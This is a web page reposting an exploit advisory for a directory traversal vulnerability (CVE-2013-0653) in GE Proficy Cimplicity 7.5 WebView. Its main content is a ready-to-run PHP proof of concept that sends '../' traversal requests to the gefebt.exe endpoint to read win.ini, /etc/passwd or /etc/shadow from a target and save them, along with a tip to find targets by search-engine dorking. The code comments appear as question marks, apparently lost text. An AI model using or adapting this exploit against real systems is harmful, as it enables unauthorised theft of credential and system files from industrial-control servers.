Khalil Shreateh specializes in cybersecurity, particularly as a "white hat" hacker. He focuses on identifying and reporting security vulnerabilities in software and online platforms, with notable expertise in web application security. His most prominent work includes discovering a critical flaw in Facebook's system in 2013. Additionally, he develops free social media tools and browser extensions, contributing to digital security and user accessibility.

Get Rid of Ads!


Subscribe now for only $3 a month and enjoy an ad-free experience.

Contact us at khalil@khalil-shreateh.com

=============================================================================================================================================
| # Title : GE Proficy =============================================================================================================================================
| # Title : GE Proficy Cimplicity 7.5 Directory Traversal Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 135.0.1 (64 bits) |
| # Vendor : https://www.alliedsolutions.com.vn/products/proficy-cimplicity/ |
=============================================================================================================================================

POC :

[+] Dorking ?n Google Or Other Search Enggine.

[+] Code Description: This script is written in PHP to simulate the exploitation of the Directory Traversal vulnerability in GE Proficy Cimplicity WebView, which allows sensitive files on the targeted server to be read.

(Related : https://packetstorm.news/files/id/180783/ Linked CVE numbers: CVE-2013-0653 ) .

[+] save code as poc.php.

[+] Set target : line 3

[+] PayLoad :

<?php
// ??????? ?????????
$target = "http://192.168.1.100:80"; // ????? ?????
$target_uri = "/CimWeb/gefebt.exe";
$depth = 5; // ??? ??????? ???????

// ?????? ????? ????? ??? ???? ??????? ????????
$os = "windows"; // ???? ?????? ??? linux ?? macos ?? unix

switch (strtolower($os)) {
case "windows":
$filepath = "/windows/win.ini";
break;
case "linux":
$filepath = "/etc/passwd";
break;
case "macos":
$filepath = "/etc/passwd";
break;
case "unix":
$filepath = "/etc/shadow";
break;
default:
die("???? ??????? ??? ?????!\n");
}

// ????? ?????? ?????? ?????????
$traversal = str_repeat("../", $depth) . $filepath;
$url = "{$target}{$target_uri}?substitute.bcl+FILE=" . urlencode($traversal);

echo "[+] ?????? ??????? ?????: {$filepath}\n";

// ????? ?????
$response = @file_get_contents($url);

if ($response === false) {
die("[-] ??? ?? ??????? ?????!\n");
}

// ??? ??????? ?? ???
$file_name = basename($filepath);
file_put_contents($file_name, $response);

echo "[+] ?? ??? ????? ??: {$file_name}\n";
?>




Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================
Social Media Share